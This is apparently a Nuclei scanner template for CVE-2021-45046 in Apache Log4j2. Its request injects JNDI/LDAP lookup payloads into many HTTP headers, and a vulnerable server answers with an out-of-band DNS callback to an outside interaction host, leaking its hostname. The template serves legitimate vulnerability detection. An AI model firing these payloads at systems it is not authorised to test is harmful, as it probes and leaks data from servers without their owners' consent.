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Copy pathCVE-2021-45046.yaml
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CVE-2021-45046.yaml
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id: CVE-2021-45046
info:
name: Remote code injection in Log4j
author: ImNightmaree
severity: critical
description: Apache Log4j2 Thread Context Lookup Pattern vulnerable to remote code execution in certain non-default configurations.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
- https://twitter.com/marcioalm/status/1471740771581652995
- https://logging.apache.org/log4j/2.x/
tags: cve,cve2021,rce,oast,log4j
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.00
cve-id: CVE-2021-45046
cwe-id: CWE-502
requests:
- raw:
- |
GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1
Host: {{Hostname}}
Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}
Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}
Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}
Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}
X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
extractors:
- type: regex
part: interactsh_request
group: 2
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output